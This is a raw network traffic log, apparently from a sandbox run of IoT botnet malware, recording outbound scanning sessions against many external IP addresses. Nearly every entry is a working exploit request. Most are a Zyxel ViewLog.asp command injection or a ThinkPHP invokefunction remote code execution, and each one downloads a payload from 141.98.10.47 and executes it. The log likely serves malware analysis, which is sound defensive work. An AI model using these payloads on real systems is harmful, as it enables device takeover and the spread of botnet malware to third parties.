Dec 26, 2023 21:25:55.208887100 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:55.448798895 CET	207	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 26 Dec 2023 20:25:55 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	49366	31.136.76.139	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.221349955 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:55.975462914 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:57.479260921 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:00.582839966 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:06.725999117 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	46788	88.221.87.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.327126980 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:55.560698032 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:55 GMT Date: Tue, 26 Dec 2023 20:25:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 35 37 64 64 35 38 26 23 34 36 3b 31 37 30 33 36 32 32 33 35 35 26 23 34 36 3b 31 32 30 63 37 39 65 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.457dd58.1703622355.120c79e9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	42250	31.33.10.111	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.927623034 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:59.047144890 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	46006	31.136.121.59	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.937685013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:59.047144890 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:05.190191984 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:17.220562935 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	41624	94.121.186.162	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.967396975 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	55958	95.86.106.20	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:55.977740049 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	38944	31.136.85.223	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:56.438524961 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:57.191287994 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:58.695095062 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:01.862652063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:08.005834103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	38828	112.167.142.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:56.556750059 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:57.548902988 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:57.887810946 CET	151	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	58550	94.123.98.213	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:57.453830957 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	42324	95.101.179.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:58.141206026 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:58.383292913 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:58 GMT Date: Tue, 26 Dec 2023 20:25:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 30 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 33 35 38 26 23 34 36 3b 32 32 36 66 39 62 65 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b07a7b5c.1703622358.226f9bea</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	55742	95.100.73.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:58.141375065 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:58.384037018 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:58 GMT Date: Tue, 26 Dec 2023 20:25:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 32 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 33 35 38 26 23 34 36 3b 31 63 37 33 34 61 38 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b27a7b5c.1703622358.1c734a8a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	40186	95.125.147.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:58.432599068 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	45702	112.118.104.139	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:58.908385038 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:59.250580072 CET	29	IN	HTTP/1.0 200 OK
Dec 26, 2023 21:25:59.250803947 CET	204	IN	Data Raw: 53 65 72 76 65 72 3a 20 46 53 4d 2d 57 65 62 73 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 63 6c 6f 73 65 0d 0a 43 6f 6e Data Ascii: Server: FSM-WebsPragma: no-cacheCache-control: no-cacheConnection:closeContent-Type: text/html;charset=gb2312<script type="text/javascript">top.location.href="/login.htm";</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	60302	95.101.42.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:59.479007006 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:59.708818913 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:59 GMT Date: Tue, 26 Dec 2023 20:25:59 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 65 63 39 31 30 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 35 39 26 23 34 36 3b 34 34 61 33 31 62 37 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8ec91002.1703622359.44a31b7f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	54736	95.39.26.142	80

Timestamp	Bytes transferred	Direction	Data
